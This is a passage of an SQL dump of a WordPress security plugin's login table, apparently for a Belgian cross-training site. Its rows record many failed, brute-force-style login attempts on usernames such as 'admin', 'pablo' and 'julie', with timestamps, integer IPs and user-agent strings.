(100912, 1496685557.485379, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100911, 1496685557.174228, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100910, 1496671032.391234, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100909, 1496671032.079949, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100908, 1496671031.770692, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100907, 1496671031.458144, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100906, 1496671031.148801, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100905, 1496671030.834937, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100904, 1496671030.521807, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100903, 1496671030.213027, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100902, 1496671029.903056, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100901, 1496671029.589165, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100900, 1496671029.280811, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100899, 1496671028.968602, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100898, 1496671028.660404, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100897, 1496671028.352838, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100896, 1496671028.043947, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100895, 1496671027.732892, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100894, 1496671027.424609, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100893, 1496671027.116692, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100892, 1496671026.735394, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100891, 1496649439.026567, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100890, 1496649438.715356, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100889, 1496649438.406839, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100888, 1496649438.099223, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100887, 1496649437.789447, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100886, 1496649437.476428, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100885, 1496649437.162568, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100884, 1496649436.790293, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100883, 1496649436.479643, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100882, 1496649436.169982, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100881, 1496649435.861299, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100880, 1496649435.552564, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100879, 1496649435.244051, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100878, 1496649434.932181, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100877, 1496649434.621298, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100876, 1496649434.311358, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100875, 1496649434.003478, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100874, 1496649433.694087, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100873, 1496649433.379529, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100872, 1496630998.285053, 1, 'loginFailValidUsername', 'admin', 1, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100871, 1496630996.753264, 1, 'loginFailValidUsername', 'pablo', 3, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100870, 1496630995.208833, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100869, 1496630993.665729, 1, 'loginFailValidUsername', 'julie', 2, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
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(100844, 1496599611.545982, 1, 'loginFailInvalidUsername', 'travail', 0, 3326602014, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(100842, 1496599607.599626, 1, 'loginFailInvalidUsername', 'outils', 0, 3326602014, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100841, 1496599605.503834, 1, 'loginFailInvalidUsername', 'venez', 0, 3326602014, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100840, 1496599603.606198, 1, 'loginFailInvalidUsername', 'objectifs', 0, 3326602014, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100839, 1496599601.682233, 1, 'loginFailInvalidUsername', 'cross', 0, 3326602014, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100838, 1496599599.548893, 1, 'loginFailInvalidUsername', 'pour', 0, 3326602014, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100837, 1496599597.349796, 1, 'loginFailInvalidUsername', 'notre', 0, 3326602014, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100836, 1496599149.782007, 1, 'loginFailInvalidUsername', 'training', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100835, 1496599147.822906, 1, 'loginFailInvalidUsername', 'vous', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100834, 1496599145.842630, 1, 'loginFailValidUsername', 'pablo', 3, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(100832, 1496599141.646385, 1, 'loginFailValidUsername', 'admin', 1, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100831, 1496599139.624256, 1, 'loginFailInvalidUsername', 'center', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100830, 1496599137.616583, 1, 'loginFailInvalidUsername', 'namur', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100829, 1496599135.662349, 1, 'loginFailInvalidUsername', 'travail', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100828, 1496599133.332626, 1, 'loginFailInvalidUsername', 'professionnel', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100827, 1496599131.214729, 1, 'loginFailInvalidUsername', 'outils', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100826, 1496598371.429855, 1, 'loginFailInvalidUsername', 'venez', 0, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100825, 1496598369.636971, 1, 'loginFailInvalidUsername', 'objectifs', 0, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100824, 1496598368.000931, 1, 'loginFailInvalidUsername', 'cross', 0, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100823, 1496598366.306186, 1, 'loginFailInvalidUsername', 'pour', 0, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100822, 1496598364.631717, 1, 'loginFailInvalidUsername', 'notre', 0, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100821, 1496598362.955987, 1, 'loginFailInvalidUsername', 'training', 0, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100820, 1496598361.318593, 1, 'loginFailInvalidUsername', 'vous', 0, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100819, 1496598359.671821, 1, 'loginFailValidUsername', 'pablo', 3, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100818, 1496598358.034289, 1, 'loginFailValidUsername', 'julie', 2, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100817, 1496598356.337133, 1, 'loginFailValidUsername', 'admin', 1, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100816, 1496597937.142829, 1, 'loginFailInvalidUsername', 'notre', 0, 874456664, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100815, 1496597512.485643, 1, 'loginFailInvalidUsername', 'outils', 0, 1707700163, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100814, 1496525607.939128, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1539837082, 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)'),
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(100812, 1496525008.217242, 1, 'loginFailInvalidUsername', 'Cross', 0, 1539837082, 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)'),
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(100810, 1496524406.316551, 1, 'loginFailInvalidUsername', 'www.crosstrainingcenter.be', 0, 1539837082, 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)'),
(100809, 1496515377.840222, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1539837019, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/533.04.57 (KHTML, like Gecko) Version/5.5.1 Safari/532.12'),
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(100807, 1496512595.850822, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100806, 1496512595.541095, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100805, 1496512595.231242, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100804, 1496512594.922909, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100803, 1496512594.614870, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100802, 1496512594.302767, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100801, 1496512593.993520, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100800, 1496512593.685425, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100799, 1496512593.375393, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100798, 1496512593.067824, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100797, 1496512592.758986, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100796, 1496512592.451028, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100795, 1496512592.143566, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100794, 1496512591.834312, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100793, 1496512591.525989, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100792, 1496512591.217321, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100791, 1496512590.908880, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100790, 1496512590.558421, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100789, 1496486529.935212, 1, 'loginFailValidUsername', 'admin', 1, 2249451223, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100788, 1496486529.935096, 1, 'loginFailValidUsername', 'admin', 1, 2249451223, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100787, 1496483793.117858, 1, 'loginFailInvalidUsername', 'wocaoaaaa', 0, 1539836946, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0'),
(100786, 1496483256.847156, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100785, 1496483256.537733, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100784, 1496483256.228181, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100783, 1496483255.918518, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100782, 1496483255.609853, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100781, 1496483255.301011, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100780, 1496483254.992887, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100779, 1496483254.684882, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100778, 1496483254.377038, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100777, 1496483254.065764, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100776, 1496483253.751747, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100775, 1496483253.444060, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100774, 1496483253.133240, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100773, 1496483252.822791, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100772, 1496483252.514296, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100771, 1496483252.205200, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100770, 1496483251.893127, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100769, 1496483251.582768, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100768, 1496483251.244556, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100767, 1496463022.038812, 1, 'loginFailInvalidUsername', 'outils', 0, 1741512757, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100766, 1496462079.792264, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
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(100656, 1496237531.887651, 1, 'loginFailValidUsername', 'pablo', 3, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100655, 1496237529.735046, 1, 'loginFailValidUsername', 'julie', 2, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100654, 1496237526.786249, 1, 'loginFailValidUsername', 'admin', 1, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100653, 1496230080.586129, 1, 'loginFailValidUsername', 'admin', 1, 2978476462, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100652, 1496223939.029169, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100651, 1496223938.717701, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100650, 1496223938.407953, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100649, 1496223938.098361, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100648, 1496223937.787855, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100647, 1496223937.478662, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(100646, 1496223937.166054, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100645, 1496223936.855833, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100644, 1496223936.545716, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100643, 1496223936.231913, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100642, 1496223935.922821, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100641, 1496223935.613341, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100640, 1496223935.303858, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100639, 1496223934.994223, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100638, 1496223934.684338, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100637, 1496223934.371963, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100636, 1496223934.060191, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100635, 1496223933.750088, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100634, 1496223933.410159, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100633, 1496173926.383103, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100632, 1496173926.070730, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
